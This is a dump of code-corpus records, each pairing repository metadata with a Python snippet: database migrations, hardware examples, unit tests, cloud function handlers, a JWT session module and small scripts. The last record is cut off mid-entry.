85e881272a594e9c6d50b63cb3fe716e99d2a040
2,266
py
Python
backend/migrations/versions/a4d289b9abd3_.py
davidoesch/platform
1eb6f98568cab82e28bd5350beab2042b22d99ed
[ "MIT" ]
null
null
null
backend/migrations/versions/a4d289b9abd3_.py
davidoesch/platform
1eb6f98568cab82e28bd5350beab2042b22d99ed
[ "MIT" ]
null
null
null
backend/migrations/versions/a4d289b9abd3_.py
davidoesch/platform
1eb6f98568cab82e28bd5350beab2042b22d99ed
[ "MIT" ]
null
null
null
"""empty message Revision ID: a4d289b9abd3 Revises: 16080f1821df Create Date: 2019-04-10 18:43:26.107145 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'a4d289b9abd3' down_revision = '16080f1821df' branch_labels = None depends_on = None def upgrade(): # ...
32.84058
65
0.59444
85e9b15842fefb956cf616929a070416da51752c
1,679
py
Python
05 Hardwarenutzung/Fallbeispiele/src/joystick.py
DennisSchulmeister/dhbwka-wwi-iottech-quellcodes
58f86907af31187f267a9ea476f061cc59098ebd
[ "CC-BY-4.0" ]
null
null
null
05 Hardwarenutzung/Fallbeispiele/src/joystick.py
DennisSchulmeister/dhbwka-wwi-iottech-quellcodes
58f86907af31187f267a9ea476f061cc59098ebd
[ "CC-BY-4.0" ]
null
null
null
05 Hardwarenutzung/Fallbeispiele/src/joystick.py
DennisSchulmeister/dhbwka-wwi-iottech-quellcodes
58f86907af31187f267a9ea476f061cc59098ebd
[ "CC-BY-4.0" ]
1
2020-10-10T20:24:05.000Z
2020-10-10T20:24:05.000Z
#! ./env/bin/python3 #encoding=utf-8 # Copyright (C) 2020 Dennis Schulmeister-Zimolong # # E-Mail: dhbw@windows3.de # Webseite: https://www.wpvs.de # # Diese Quellcode ist lizenziert unter einer # Creative Commons Namensnennung 4.0 International Lizenz """ Beispiel zum Auslesen des KY-023 Joysticks mit dem KY-053 A/D...
25.830769
70
0.625968
c0c296863128ba024428b3ae5ecd456aeb0148c3
170
py
Python
UNFAEDAH-main/src/__init__.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
UNFAEDAH-main/src/__init__.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
UNFAEDAH-main/src/__init__.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
class main: def __init__(self): self.sxp() def sxp(self): import os os.system("python $HOME/UNFAEDAH/src/login.py") if __name__ == "__main__": main()
15.454545
51
0.629412
c0e4024ffd4b3e14462577a212313731f0fc2ca7
14,419
py
Python
test/test_npu/test_network_ops/test_batchnorm_backward.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-12-02T03:07:35.000Z
2021-12-02T03:07:35.000Z
test/test_npu/test_network_ops/test_batchnorm_backward.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-11-12T07:23:03.000Z
2021-11-12T08:28:13.000Z
test/test_npu/test_network_ops/test_batchnorm_backward.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2020, Huawei Technologies.All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://opensource.org/licenses/BSD-3-Clause # # Unless required by applicable law...
44.503086
107
0.613635
7bcf529fa785c291058e0c7efdbe576f93d7bced
392
py
Python
Python/zzz_training_challenge/UdemyPythonPro/Chapter5_Functions/Functions/command_line_arguments.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/UdemyPythonPro/Chapter5_Functions/Functions/command_line_arguments.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
Python/zzz_training_challenge/UdemyPythonPro/Chapter5_Functions/Functions/command_line_arguments.py
Kreijeck/learning
eaffee08e61f2a34e01eb8f9f04519aac633f48c
[ "MIT" ]
null
null
null
import sys # per default wird immer der Dateipfad übergeben! # Arguments werden immer als String interpretiert def main(): # Anzahl der Argumente print(len(sys.argv)) # Argumente print(sys.argv) print("=======================") # User-defined command-line arguments for arg in sys.argv[1:]...
19.6
49
0.614796
c896888c932b94e4705a5337638595b21494ef62
626
py
Python
challenges/leastFactorial/python3/leastFactorial.py
jimmynguyen/codefights
f4924fcffdb4ff14930618bb1a781e4e02e9aa09
[ "MIT" ]
5
2020-05-21T03:02:34.000Z
2021-09-06T04:24:26.000Z
challenges/leastFactorial/python3/leastFactorial.py
jimmynguyen/codefights
f4924fcffdb4ff14930618bb1a781e4e02e9aa09
[ "MIT" ]
6
2019-04-24T03:39:26.000Z
2019-05-03T02:10:59.000Z
challenges/leastFactorial/python3/leastFactorial.py
jimmynguyen/codefights
f4924fcffdb4ff14930618bb1a781e4e02e9aa09
[ "MIT" ]
1
2021-09-06T04:24:27.000Z
2021-09-06T04:24:27.000Z
def leastFactorial(n): m = 1 k = 1 while k < n: m += 1 k *= m return k if __name__ == '__main__': input0 = [17, 1, 5, 25, 18, 109, 106, 11, 55, 24] expectedOutput = [24, 1, 6, 120, 24, 120, 120, 24, 120, 24] assert len(input0) == len(expectedOutput), '# input0 = {}, # expectedOutput = {}'.format(len(input0)...
39.125
123
0.653355
cdf47c3376d8c8c730556bfdcc4b8050d76c76b4
3,170
py
Python
projects/g4h2-graduation-project/src/backends/scf_functions/handler_trigger_submit_img_to_ocr.py
keybrl/xdu-coursework
9d0e905bef28c18d87d3b97643de0d32f9f08ee0
[ "MIT" ]
null
null
null
projects/g4h2-graduation-project/src/backends/scf_functions/handler_trigger_submit_img_to_ocr.py
keybrl/xdu-coursework
9d0e905bef28c18d87d3b97643de0d32f9f08ee0
[ "MIT" ]
null
null
null
projects/g4h2-graduation-project/src/backends/scf_functions/handler_trigger_submit_img_to_ocr.py
keybrl/xdu-coursework
9d0e905bef28c18d87d3b97643de0d32f9f08ee0
[ "MIT" ]
null
null
null
import json import logging import re import sys from typing import Any, Dict, List from conf import settings sys.path.insert(0, './libs') from tencentcloud.common import credential from tencentcloud.common.exception.tencent_cloud_sdk_exception import TencentCloudSDKException from tencentcloud.scf.v20180416...
30.776699
101
0.576341
a83192836d468c4de6fad6c4fc0ead845960497f
3,996
py
Python
hisim/components/simple_storage.py
sdickler/HiSim
09a11d99f220f7cadb3cb7b09a6fce8f147243c8
[ "MIT" ]
12
2021-10-05T11:38:24.000Z
2022-03-25T09:56:08.000Z
hisim/components/simple_storage.py
sdickler/HiSim
09a11d99f220f7cadb3cb7b09a6fce8f147243c8
[ "MIT" ]
6
2021-10-06T13:27:55.000Z
2022-03-10T12:55:15.000Z
hisim/components/simple_storage.py
sdickler/HiSim
09a11d99f220f7cadb3cb7b09a6fce8f147243c8
[ "MIT" ]
4
2022-02-21T19:00:50.000Z
2022-03-22T11:01:38.000Z
# Generic/Built-in import copy # Owned from hisim.component import Component, SingleTimeStepValues, ComponentInput, ComponentOutput from hisim.simulationparameters import SimulationParameters from hisim import loadtypes as lt class SimpleStorageState: def __init__(self, min_val: float, max_val: float): se...
44.898876
144
0.630631
a90811eef2b19ddd1f14ffcad8eea578a959134a
11,447
py
Python
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/storage/netapp/test_netapp_e_iscsi_interface.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/storage/netapp/test_netapp_e_iscsi_interface.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/tests/unit/modules/storage/netapp/test_netapp_e_iscsi_interface.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
# (c) 2018, NetApp Inc. # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from ansible_collections.community.general.plugins.modules.storage.netapp.netapp_e_iscsi_interface import IscsiInterface from ansible_collections.community.general.tests.unit.modules.utils import Ansibl...
46.53252
140
0.601118
a92d57d7c2b10304c92511e29ef63f3a441f0569
594
py
Python
musterloesungen/6_warm_ups/listen.py
giu/appe6-uzh-hs2018
204dea36be1e53594124b606cdfa044368e54726
[ "MIT" ]
null
null
null
musterloesungen/6_warm_ups/listen.py
giu/appe6-uzh-hs2018
204dea36be1e53594124b606cdfa044368e54726
[ "MIT" ]
null
null
null
musterloesungen/6_warm_ups/listen.py
giu/appe6-uzh-hs2018
204dea36be1e53594124b606cdfa044368e54726
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Kurs: Python: Grundlagen der Programmierung für Nicht-Informatiker # Semester: Herbstsemester 2018 # Homepage: http://accaputo.ch/kurs/python-uzh-hs-2018/ # Author: Giuseppe Accaputo # Aufgabe: Warm-Up: Listen besser kennenlernen def liste_anpassen(liste): if l...
25.826087
76
0.644781
8d8f12cd0704f13d2fd94fb919f6300621a06aa4
2,370
py
Python
src/onegov/agency/models/mutation.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/agency/models/mutation.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/agency/models/mutation.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from cached_property import cached_property from onegov.agency import _ class Mutation(object): def __init__(self, session, target_id, ticket_id): self.session = session self.target_id = target_id self.ticket_id = ticket_id @cached_property def collection(self): raise Not...
28.214286
77
0.601266
a5e3e6b65ac544c74cf42bf23d4ab3eb78d54c52
1,441
py
Python
src/server/app/endpoints/auth/auth_service.py
MatthiasRiener/DigiPen
9b4aff4a1c431e06d73733dc3dd3f3f3d4631704
[ "MIT" ]
null
null
null
src/server/app/endpoints/auth/auth_service.py
MatthiasRiener/DigiPen
9b4aff4a1c431e06d73733dc3dd3f3f3d4631704
[ "MIT" ]
null
null
null
src/server/app/endpoints/auth/auth_service.py
MatthiasRiener/DigiPen
9b4aff4a1c431e06d73733dc3dd3f3f3d4631704
[ "MIT" ]
null
null
null
from ...annotations.token.token_encrypt import jwt_token_encrypted from keycloak import KeycloakOpenID def getPrefix(): return "Bearer " class AuthService: f = open('client_secrets.json') keycloak_openid = KeycloakOpenID(server_url="http://localhost:8080/auth/", cli...
34.309524
119
0.678001
1910f795284378b3b262d86ad4187d22e715e7f0
329
py
Python
.vscode/extensions/kevinrose.vsc-python-indent-1.14.2/smoke_test.py
malbaker/dom_dotfiles
c452a9c8f86669f4f6289ddcd24e12690819991b
[ "MIT" ]
53
2019-03-22T05:08:06.000Z
2022-02-28T00:28:31.000Z
.vscode/extensions/kevinrose.vsc-python-indent-1.14.2/smoke_test.py
malbaker/dom_dotfiles
c452a9c8f86669f4f6289ddcd24e12690819991b
[ "MIT" ]
56
2019-03-25T12:20:03.000Z
2022-03-29T13:08:45.000Z
.vscode/extensions/kevinrose.vsc-python-indent-1.14.2/smoke_test.py
malbaker/dom_dotfiles
c452a9c8f86669f4f6289ddcd24e12690819991b
[ "MIT" ]
17
2019-03-28T11:57:36.000Z
2021-11-24T15:56:48.000Z
data = {'a': 0, 'b': [[1, 2,], [3, 4]], 'c': 5} def hello( first: bool, second: bool, ): # This comment line is waaaaaaaaaaaay too long. if first and second: raise ValueError('no') elif first: print('hello') elif second: print('world') retur...
19.352941
51
0.486322
fd6df273f5e43976134dc7766e0055ba7efdf2f0
1,767
py
Python
src/BallTracker/ballTracker.py
Cibah/Pepper_RL
a105aead34c74ac8c49fa058ee1613f578bcde41
[ "MIT" ]
null
null
null
src/BallTracker/ballTracker.py
Cibah/Pepper_RL
a105aead34c74ac8c49fa058ee1613f578bcde41
[ "MIT" ]
null
null
null
src/BallTracker/ballTracker.py
Cibah/Pepper_RL
a105aead34c74ac8c49fa058ee1613f578bcde41
[ "MIT" ]
null
null
null
# -*- coding:utf-8 -*- # testBallTracker.py # kleine Test-Applikation, um die reward-Funktionalitaet des BallTrackers zu testen # nutzt aber jetzt RewardTrackerThread-Klasse, d.h. abgeleitete Thread-Klasse # import argparse import warnings import time import threading import src.BallTracker.reward import src.BallTracke...
33.339623
110
0.645727
fd8a81bd6c23b05442bf177a9eb3f89f42e7b710
3,613
py
Python
blaulichtsmscontroller.py
stg93/blaulichtsms_einsatzmonitor
db595f535ece0f944ec70a9eac70af7b667f63ef
[ "MIT" ]
18
2017-07-24T18:08:04.000Z
2021-05-06T06:50:22.000Z
blaulichtsmscontroller.py
stg93/blaulichtsms_einsatzmonitor
db595f535ece0f944ec70a9eac70af7b667f63ef
[ "MIT" ]
19
2018-09-25T20:42:17.000Z
2021-11-23T21:26:18.000Z
blaulichtsmscontroller.py
stg93/blaulichtsms_einsatzmonitor
db595f535ece0f944ec70a9eac70af7b667f63ef
[ "MIT" ]
11
2018-05-05T04:49:41.000Z
2022-02-18T17:33:13.000Z
import logging from datetime import datetime, timedelta from pprint import pformat import requests class BlaulichtSmsSessionInitException(Exception): pass class BlaulichtSmsController: """Handles the communication with the `blaulichtSMS Dashboard API <https://github.com/blaulichtSMS/docs/blob/maste...
38.849462
114
0.623858
a9009693e0bc7ae0834e752cefe10e7837fc68a3
123
py
Python
Licence 2/I33/TP 6/ex_4.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
8
2020-11-26T20:45:12.000Z
2021-11-29T15:46:22.000Z
Licence 2/I33/TP 6/ex_4.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
null
null
null
Licence 2/I33/TP 6/ex_4.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
6
2020-10-23T15:29:24.000Z
2021-05-05T19:10:45.000Z
log_table = [] alpha_table = [] def inverse(x, P): return alpha_table[((1 << (len(bin(P)) - 3)) - 1) - log_table[x]]
17.571429
69
0.560976
47a2cc822f2265a012a5fb886b31f4e5adb774f6
5,539
py
Python
plugins/MsgStreamManage.py
lonelyion/TweetToBot-Docker
ea91a9d93bad2b757c2ba0923ae9f1cd0f5ac278
[ "MIT" ]
null
null
null
plugins/MsgStreamManage.py
lonelyion/TweetToBot-Docker
ea91a9d93bad2b757c2ba0923ae9f1cd0f5ac278
[ "MIT" ]
1
2020-09-22T02:30:40.000Z
2020-09-22T02:30:40.000Z
plugins/MsgStreamManage.py
lonelyion/TweetToBot-Docker
ea91a9d93bad2b757c2ba0923ae9f1cd0f5ac278
[ "MIT" ]
null
null
null
# -*- coding: UTF-8 -*- from pluginsinterface.PluginLoader import on_message, Session, on_preprocessor, on_plugloaded from pluginsinterface.PluginLoader import PlugMsgReturn, plugRegistered, PlugMsgTypeEnum, PluginsManage from pluginsinterface.PluginLoader import PlugArgFilter from module.msgStream import getMsgStream...
29.620321
103
0.656436
d0db496863393d5794b8796f1e5f39d2cc36bd98
1,925
py
Python
Properties/analysis/FunctionLevel/Function_Level.py
NazaninBayati/SCA
74e670462dd0da5e24147aab86df393b38405176
[ "MIT" ]
null
null
null
Properties/analysis/FunctionLevel/Function_Level.py
NazaninBayati/SCA
74e670462dd0da5e24147aab86df393b38405176
[ "MIT" ]
null
null
null
Properties/analysis/FunctionLevel/Function_Level.py
NazaninBayati/SCA
74e670462dd0da5e24147aab86df393b38405176
[ "MIT" ]
null
null
null
cls_func = open('cephdb._dictionary.txt', 'r') cls_func = cls_func.read() final_set=[] cls_int = [] used_funcs = [] db_cls_fun=[] cls_int = cls_func.split("\n\n") db_cls_fun = cls_int[1:cls_int.__len__()] # print(db_cls_fun[18+18]) cls_fun_counter = 0 cls_list=[] flag = False while cls_fun_counter < db_cls_fun.__l...
33.77193
78
0.622338
d0e0f88af4dd45fcc9b56d801f492a3a54fce70f
1,188
py
Python
src/ingestion/transformers/monosi/issues.py
monosidev/monosi
a88b689fc74010b10dbabb32f4b2bdeae865f4d5
[ "Apache-2.0" ]
156
2021-11-19T18:50:14.000Z
2022-03-31T19:48:59.000Z
src/ingestion/transformers/monosi/issues.py
monosidev/monosi
a88b689fc74010b10dbabb32f4b2bdeae865f4d5
[ "Apache-2.0" ]
30
2021-12-27T19:30:56.000Z
2022-03-30T17:49:00.000Z
src/ingestion/transformers/monosi/issues.py
monosidev/monosi
a88b689fc74010b10dbabb32f4b2bdeae865f4d5
[ "Apache-2.0" ]
14
2022-01-17T23:24:34.000Z
2022-03-29T09:27:47.000Z
from ingestion.transformers.base import Transformer class IssueTransformer(Transformer): @classmethod def message_formatter(cls, anomaly): return "Column {column_name} is alerting with a value of {value} on the metric {metric}.".format( column_name=anomaly['column_name'], value=...
28.285714
130
0.53367
efd61f32c0ed76588f3cd42b73a2c292d6852547
5,804
py
Python
src/benchmark.py
afranck64/benzlim
b8a3087cfe093ed9700ba92799aaeed17f1dd92f
[ "Apache-2.0" ]
null
null
null
src/benchmark.py
afranck64/benzlim
b8a3087cfe093ed9700ba92799aaeed17f1dd92f
[ "Apache-2.0" ]
null
null
null
src/benchmark.py
afranck64/benzlim
b8a3087cfe093ed9700ba92799aaeed17f1dd92f
[ "Apache-2.0" ]
null
null
null
"""benchmark.py - Benchmarking tool""" from math import ceil import os.path import numpy as np from .prediction import predict from .prediction import classification from .prediction.classification import Classifier from .dao import CSVDAO from .dao import StationDAO from .compat import printf from .config import Conf...
39.753425
133
0.712267
de2d9950a88ec7db1207c4b14fe71bc5e980bd03
1,263
py
Python
get_names.py
LCBRU/ppi_finder
cc76c6fd693ce16efa85fea884a2054ef892dc29
[ "MIT" ]
null
null
null
get_names.py
LCBRU/ppi_finder
cc76c6fd693ce16efa85fea884a2054ef892dc29
[ "MIT" ]
null
null
null
get_names.py
LCBRU/ppi_finder
cc76c6fd693ce16efa85fea884a2054ef892dc29
[ "MIT" ]
null
null
null
#!/usr/bin/env python import argparse import os from dotenv import load_dotenv from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from contextlib import contextmanager load_dotenv() NAMES_SQL = """ SELECT DISTINCT LOWER(name) AS name FROM ( SELECT SURNAME AS name FROM DWREPO.dbo.PATIENT...
23.388889
112
0.72209
72357ea17c483c2dd370da8ed21485e89f8a8ac9
128
py
Python
Python/M01_ProgrammingBasics/L05_WhileLoop/Lab/Solutions/P03_SumNumbers.py
todorkrastev/softuni-software-engineering
cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84
[ "MIT" ]
null
null
null
Python/M01_ProgrammingBasics/L05_WhileLoop/Lab/Solutions/P03_SumNumbers.py
todorkrastev/softuni-software-engineering
cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84
[ "MIT" ]
null
null
null
Python/M01_ProgrammingBasics/L05_WhileLoop/Lab/Solutions/P03_SumNumbers.py
todorkrastev/softuni-software-engineering
cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84
[ "MIT" ]
1
2022-02-23T13:03:14.000Z
2022-02-23T13:03:14.000Z
number = int(input()) new = 0 total = 0 while total <= number - 1: new = int(input()) total = total + new print(total)
14.222222
26
0.585938
90129318c34b7c13c32242dd79f1a0ab455da4ce
2,617
py
Python
pyventskalender/tag22.py
kopp/pyventskalender
6f6455f3c1db07f65a772b2716e4be95fbcd1804
[ "MIT" ]
null
null
null
pyventskalender/tag22.py
kopp/pyventskalender
6f6455f3c1db07f65a772b2716e4be95fbcd1804
[ "MIT" ]
null
null
null
pyventskalender/tag22.py
kopp/pyventskalender
6f6455f3c1db07f65a772b2716e4be95fbcd1804
[ "MIT" ]
null
null
null
# Weiter geht es mit dem Spiel... # %% # Gestern hatten wir ungefähr so aufgehört: import arcade class FindeDenSchnellstenWeg(arcade.Window): """ In dieser Klasse implementieren wir das Spiel. """ def __init__(self, breite, hoehe): super().__init__(breite, hoehe, "Finde den schnellsten Weg")...
33.551282
78
0.677111
5f751475d99f62022274942accc1088dbbf4af79
1,898
py
Python
hardware/seat_cam/detector.py
BlueHC/TTHack-2018--Easy-Rider-1
8cd8f66de88ff80751a1083350c38985ac26914d
[ "Apache-2.0" ]
null
null
null
hardware/seat_cam/detector.py
BlueHC/TTHack-2018--Easy-Rider-1
8cd8f66de88ff80751a1083350c38985ac26914d
[ "Apache-2.0" ]
null
null
null
hardware/seat_cam/detector.py
BlueHC/TTHack-2018--Easy-Rider-1
8cd8f66de88ff80751a1083350c38985ac26914d
[ "Apache-2.0" ]
null
null
null
import sys sys.path.insert(0, 'pixy_build/libpixyusb_swig/') import time import math from pixy import * from ctypes import * import categorizer import seat_classifier class Blocks (Structure): _fields_ = [ ("type", c_uint), ("signature", c_uint), ("x", c_uint), ("y", c_...
30.612903
235
0.605901
4b4116979d76f672a07b22c3cdb4199fb6e18241
92
py
Python
2015/03/table-sidney-crime-20150304/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
14
2015-05-08T13:41:51.000Z
2021-02-24T12:34:55.000Z
2015/03/table-sidney-crime-20150304/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
null
null
null
2015/03/table-sidney-crime-20150304/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
7
2015-04-04T04:45:54.000Z
2021-02-18T11:12:48.000Z
#!/usr/bin/env python COPY_GOOGLE_DOC_KEY = '1YiZ3qN-MdTf4zU-ehJdbMGhEYFl_ldv1fAzG_qHk8hg'
23
68
0.826087
4b5132f13d328ab75675873b3e9a0aef6fbfa291
344
py
Python
qmk_firmware/lib/python/qmk/tests/test_qmk_path.py
DanTupi/personal_setup
911b4951e4d8b78d6ea8ca335229e2e970fda871
[ "MIT" ]
2
2021-04-16T23:29:01.000Z
2021-04-17T02:26:22.000Z
qmk_firmware/lib/python/qmk/tests/test_qmk_path.py
DanTupi/personal_setup
911b4951e4d8b78d6ea8ca335229e2e970fda871
[ "MIT" ]
null
null
null
qmk_firmware/lib/python/qmk/tests/test_qmk_path.py
DanTupi/personal_setup
911b4951e4d8b78d6ea8ca335229e2e970fda871
[ "MIT" ]
null
null
null
import os from pathlib import Path import qmk.path def test_keymap_pytest_basic(): path = qmk.path.keymap('handwired/pytest/basic') assert path.samefile('keyboards/handwired/pytest/basic/keymaps') def test_normpath(): path = qmk.path.normpath('lib/python') assert path.samefile(Path(os.environ['ORIG...
22.933333
69
0.732558
4b6217dc2e1f0f60f59281a44c4c9991a82bee17
1,071
py
Python
7-assets/past-student-repos/LambdaSchool-master/m7/71e1/hashtables/ex2/ex2.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/LambdaSchool-master/m7/71e1/hashtables/ex2/ex2.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/LambdaSchool-master/m7/71e1/hashtables/ex2/ex2.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
# Hint: You may not need all of these. Remove the unused functions. class Ticket: def __init__(self, source, destination): self.source = source self.destination = destination returned_array = [] returned_list = [] def loop_tickets(tickets, destination, length): global returned_array wh...
30.6
70
0.619048
8a0a5731b2e27f83cf9d58e9d0247fa2876c103a
12,703
py
Python
fence/resources/user/user_session.py
scottyellis/fence
012ba76a58853169e9ee8e3f44a0dc510f4b2543
[ "Apache-2.0" ]
31
2018-01-05T22:49:33.000Z
2022-02-02T10:30:23.000Z
fence/resources/user/user_session.py
scottyellis/fence
012ba76a58853169e9ee8e3f44a0dc510f4b2543
[ "Apache-2.0" ]
737
2017-12-11T17:42:11.000Z
2022-03-29T22:42:52.000Z
fence/resources/user/user_session.py
scottyellis/fence
012ba76a58853169e9ee8e3f44a0dc510f4b2543
[ "Apache-2.0" ]
46
2018-02-23T09:04:23.000Z
2022-02-09T18:29:51.000Z
""" Sessions by using a JWT. Implementation Details: Every request where the Flask session is modified internally (e.g. by a user logging in) a new JWT is created and stored in a cookie. Additionally, if the user is successfully logged in, an access token is stored in a cookie as well. The session timeout relies on ...
34.332432
88
0.633079
8a733b281c9bc687e413473dd0812d4d7435f218
5,871
py
Python
docker/api/api/utils/edit_display_utils.py
healthIMIS/aha-kompass
7b7cae24502c0c0e5635c587cfef797a93ae02b5
[ "MIT" ]
2
2021-03-23T20:32:38.000Z
2021-04-21T11:20:12.000Z
docker/api/api/utils/edit_display_utils.py
healthIMIS/aha-kompass
7b7cae24502c0c0e5635c587cfef797a93ae02b5
[ "MIT" ]
4
2021-04-19T11:00:55.000Z
2021-04-20T08:21:48.000Z
docker/api/api/utils/edit_display_utils.py
healthIMIS/aha-kompass
7b7cae24502c0c0e5635c587cfef797a93ae02b5
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Corona-Info-App # edit_display_utils # © 2020 Tobias Höpp. from utils.measure_utils import dR_ from models.measures import displayGroup, displayGroupHasDisplay, display from main import db from utils.flexstring import validateConfig # Utils for display #TODO: group the following functions i...
43.488889
172
0.667007
0aa207ab4b7f5105fd9835b1cddce32ffcab88d6
1,611
py
Python
Simulator/build/Scripts/filter.py
A-Herzog/Warteschlangensimulator
fd83d400944a59147a465a4683b2f9258c3de5d0
[ "Apache-2.0" ]
9
2020-07-14T05:36:47.000Z
2022-03-30T14:24:12.000Z
Simulator/build/Scripts/filter.py
A-Herzog/Warteschlangensimulator
fd83d400944a59147a465a4683b2f9258c3de5d0
[ "Apache-2.0" ]
4
2021-06-17T22:09:50.000Z
2022-02-17T23:02:50.000Z
Simulator/build/Scripts/filter.py
A-Herzog/Warteschlangensimulator
fd83d400944a59147a465a4683b2f9258c3de5d0
[ "Apache-2.0" ]
5
2020-06-08T04:26:11.000Z
2021-11-15T22:42:59.000Z
# Python script for running a filter script on multiple statistics files # Example: # defaultHeading="Model\tE[NQ]\tE[N]\tE[W]\tStd[W]\tE[V]\tStd[V]\trho" # defaultDescription=lambda fileName: fileName.replace(".zip","") # runFilter(defaultHeading,defaultDescription) import glob import subprocess def runCm...
33.5625
125
0.647424
7c48cd504ca82e8cafe738ff5046669d6b1d8fe0
976
py
Python
src/data_analysis/weights.py
Qjammer/tfg
e832db3b344d0c422c50e398110cd0b6d5d97a60
[ "MIT" ]
null
null
null
src/data_analysis/weights.py
Qjammer/tfg
e832db3b344d0c422c50e398110cd0b6d5d97a60
[ "MIT" ]
null
null
null
src/data_analysis/weights.py
Qjammer/tfg
e832db3b344d0c422c50e398110cd0b6d5d97a60
[ "MIT" ]
null
null
null
#!/usr/bin/python import matplotlib.pyplot as plt import csv import numpy as np from mpl_toolkits.mplot3d import Axes3D #fig=plt.figure() #ax=fig.add_subplot(111,projection='2d') #ax.set_xlabel('x') #ax.set_ylabel('y') x=[] y=[] z=[] with open('data/buckets3.txt','r') as csvdata: plots=csv.reader(csvdata,delimiter...
19.918367
108
0.675205
862580bb49e9ba8d131702070a4a716d6e9000e4
14,145
py
Python
examples/information_extraction/DuEE/classifier.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
examples/information_extraction/DuEE/classifier.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
examples/information_extraction/DuEE/classifier.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2021 Baidu.com, Inc. All Rights Reserved # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable l...
39.84507
131
0.639873
86b787e0928129cad428e9f233cd206838e4785d
9,209
py
Python
.arch/plugins/doc_lcdoc/make_badges.py
axiros/docutools
f99874a64afba8f5bc740049d843151ccd9ceaf7
[ "BSD-2-Clause" ]
24
2021-10-04T22:11:59.000Z
2022-02-02T21:51:43.000Z
.arch/plugins/doc_lcdoc/make_badges.py
axiros/docutools
f99874a64afba8f5bc740049d843151ccd9ceaf7
[ "BSD-2-Clause" ]
2
2021-10-04T21:51:30.000Z
2021-10-05T14:15:31.000Z
.arch/plugins/doc_lcdoc/make_badges.py
axiros/docutools
f99874a64afba8f5bc740049d843151ccd9ceaf7
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python """ Creating The Repo Badges SVGs Run by CI after tests and coverage, outputs SVGs into public docu dir or pushes them to a public repo. """ import os from functools import partial import anybadge as ab from devapp.app import app, do, run_app, system from devapp.tools import FLG, project, dirna...
30.392739
100
0.559127
812250479eff1a12a14ea5ad7324877cd81e5b3c
1,384
py
Python
research/cv/centernet_det/src/__init__.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/centernet_det/src/__init__.py
leelige/mindspore
